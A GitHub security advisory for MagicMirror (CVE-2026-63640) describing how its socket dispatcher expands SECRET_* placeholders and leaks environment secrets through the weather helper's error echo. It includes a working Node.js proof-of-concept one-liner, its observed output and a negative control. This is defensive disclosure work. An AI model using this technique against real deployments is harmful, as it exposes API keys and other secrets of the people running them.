GitHub Advisoryadvisory · npm

GHSA-q4gh-4ffp-5cg8 MagicMirror socket payload secret placeholder expansion can disclose SECRET_* environment variables

MEDIUM Published 2026-08-18 Modified 2026-08-18 Official page ↗
Aliases
CVE-2026-63640
Ecosystem
npm
Packages
magicmirror
Severity
Moderate
CVSS vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Weaknesses
CWE-200
Reviewed
2026-08-18

Affected packages

• npm magicmirror: < 2.37.0 → fixed in 2.37.0

Description

Summary When `hideConfigSecrets: true` is enabled, MagicMirror redacts `SECRET_*` environment placeholders in the HTTP `/config` response, but the shared node-helper socket dispatcher expands `SECRET_NAME` placeholders in every inbound socket payload before passing it to module helpers. Any client that can connect to a loaded module namespace can send a placeholder such as `SECRET_API_KEY` and cause the server to substitute the real environment variable into the helper payload. Helpers that echo attacker-controlled payload fields, such as the default weather helper error path, can return the secret value to the socket client. Details The affected product is the npm package/application `magicmirror` at version `2.36.0`, tested at commit `fb41d24ef522e91e802e2a623ff6afbddeb3c9d8` from `https://github.com/MagicMirrorOrg/MagicMirror.git`. The secret-redaction feature is implemented during config loading: • `js/utils.js:117-123` loads a `config.env` file next to the config file into `process.env` when present. • `js/utils.js:130-151` creates both a full config and a redacted config. • `js/utils.js:137-140` redacts environment variables whose names start with `SECRET_` to `SECRET_NAME` in the redacted config when `hideConfigSecrets: true` is present. • `js/server.js:112-125` returns either `configObj.redactedConf` or `configObj.fullConf` from `/config` depending on `config.hideConfigSecrets`. The disclosure root cause is the inbound socket dispatcher: • `js/node_helper.js:88-103` registers a catch-all handler for each module namespace. • `js/node_helper.js:91-99` checks `config?.hideConfigSecrets` and, for every inbound object payload, runs `replaceSecretPlaceholder(JSON.stringify(payload))` before invoking `socketNotificationReceived(...)`. • `js/server_functions.js:23-34` implements `replaceSecretPlaceholder(...)` by replacing `**SECRET_* **`-style placeholders with `process.env[...]`, unless `global.config.cors === "allowAll"`. This reverses the redaction boundary: redacted placeholders intended for the browser can be sent back to the server and expanded into real environment secret values inside helper payloads. A confirmed echo path exists in the default weather helper: • `defaultmodules/weather/node_helper.js:12-19` accepts `INIT_WEATHER` from the socket. • `defaultmodules/weather/node_helper.js:27-31` copies `config.instanceId` from the attacker-controlled payload. • `defaultmodules/weather/node_helper.js:47-52` attempts to dynamically load the requested weather provider. • `defaultmodules/weather/node_helper.js:86-91` catches errors and sends `WEATHER_ERROR` with the same `instanceId` back to the namespace. False-positive screening performed: • This is not a generic environment leak through `/env`; `js/server_functions.js:221-240` returns only selected client environment paths. • The HTTP `/config` route does redact placeholders when `hideConfigSecrets: true`; the issue is that the inbound socket path expands those placeholders again before module helper code runs. • `replaceSecretPlaceholder(...)` intentionally refuses substitution when `global.config.cors === "allowAll"` (`js/server_functions.js:29-34`); the positive PoC used `cors: "disabled"`, which is the shipped default (`js/defaults.js:14`). A negative control with no substitution produced the placeholder unchanged. • The attacker must know or infer a `SECRET_*` variable name. If the attacker can read the redacted `/config` response, placeholder names may be disclosed even when values are hidden. The PoC uses a known `SECRET_MM_AUDIT` test variable. • Network reachability follows the Socket.IO exposure model. With the shipped default `address: "localhost"` and loopback `ipWhitelist`, remote network reachability is limited. In documented non-loopback deployments, this combines with the Socket.IO access-control gap described separately. Affected-version evidence: only `[email protected]` at commit `fb41d24ef522e91e802e2a623ff6afbddeb3c9d8` was tested. The affected range is unknown from this audit; earlier versions were not tested. No patched version or fix commit was identified locally. PoC The following safe local PoC was run from a clean checkout of MagicMirror at commit `fb41d24ef522e91e802e2a623ff6afbddeb3c9d8`. Because `node_modules` were not installed in this audit environment and `package.json:52` has a destructive `postinstall`, the command uses dependency stubs while executing the vulnerable repository dispatcher and weather helper code. It writes no files and does not contact external services. Positive trigger: ```bash node -e 'const Module=require("module"); const orig=Module._load; Module._load=(r,p,m)=>{ if(r==="express") return { static:()=>()=>{} }; if(r==="logger") return {log(){},error(){},warn(){},info(){},debug(){}}; if(r==="#server_functions") return {replaceSecretPlaceholder:(input)=>input.replaceAll(/\*\*(SECRET_[^*]+)\*\*/g,(_m,g)=>process.env[g])}; return orig(r,p,m); }; require("./js/alias-resolver"); global.root_path=process.cwd(); global.config={hideConfigSecrets:true,cors:"disabled"}; process.env.SECRET_MM_AUDIT="secret-marker-42"; const Weather=require("./defaultmodules/weather/node_helper"); const helper=new Weather(); helper.setName("weather"); const sent=[]; helper.sendSocketNotification=(n,p)=>sent.push({n,p}); let onAny; const fakeIo={of(){return {on(_ev,cb){const socket={onAny(fn){onAny=fn;}}; cb(socket);}};}}; helper.setSocketIO(fakeIo); Promise.resolve(onAny("INIT_WEATHER",{instanceId:"SECRET_MM_AUDIT",weatherProvider:"definitely-not-a-provider",type:"current"})).then(()=>setTimeout(()=>{console.log(JSON.stringify(sent));},10));' ``` Observed output: ```json [{"n":"WEATHER_ERROR","p":{"instanceId":"secret-marker-42","error":"Cannot find module '/home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/providers/definitely-not-a-provider.js'\nRequire stack:\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/node_helper.js\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/[eval]"}}] ``` Expected vulnerable output: the weather error payload returned by the helper contains `"instanceId":"secret-marker-42"`, proving the server substituted the `SECRET_MM_AUDIT` environment variable into an attacker-controlled socket payload and returned it to the client. Negative/control trigger simulating no inbound placeholder substitution: ```bash node -e 'const Module=require("module"); const orig=Module._load; Module._load=(r,p,m)=>{ if(r==="express") return { static:()=>()=>{} }; if(r==="logger") return {log(){},error(){},warn(){},info(){},debug(){}}; if(r==="#server_functions") return {replaceSecretPlaceholder:(input)=>input}; return orig(r,p,m); }; require("./js/alias-resolver"); global.root_path=process.cwd(); global.config={hideConfigSecrets:true,cors:"allowAll"}; process.env.SECRET_MM_AUDIT="secret-marker-42"; const Weather=require("./defaultmodules/weather/node_helper"); const helper=new Weather(); helper.setName("weather"); const sent=[]; helper.sendSocketNotification=(n,p)=>sent.push({n,p}); let onAny; const fakeIo={of(){return {on(_ev,cb){const socket={onAny(fn){onAny=fn;}}; cb(socket);}};}}; helper.setSocketIO(fakeIo); Promise.resolve(onAny("INIT_WEATHER",{instanceId:"SECRET_MM_AUDIT",weatherProvider:"definitely-not-a-provider",type:"current"})).then(()=>setTimeout(()=>{console.log(JSON.stringify(sent));},10));' ``` Observed control output: ```json [{"n":"WEATHER_ERROR","p":{"instanceId":"SECRET_MM_AUDIT","error":"Cannot find module '/home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/providers/definitely-not-a-provider.js'\nRequire stack:\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/defaultmodules/weather/node_helper.js\n- /home/sondt23/Github/Research/CVE/auto-github-cve/github-repo/MagicMirror/[eval]"}}] ``` Expected contro…

Related

Alias · CVE (1)

  • CVE-2026-63640 MagicMirror² is an open source modular smart mirror platform. vulnerability

Weakness · CWE (1)

  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness

References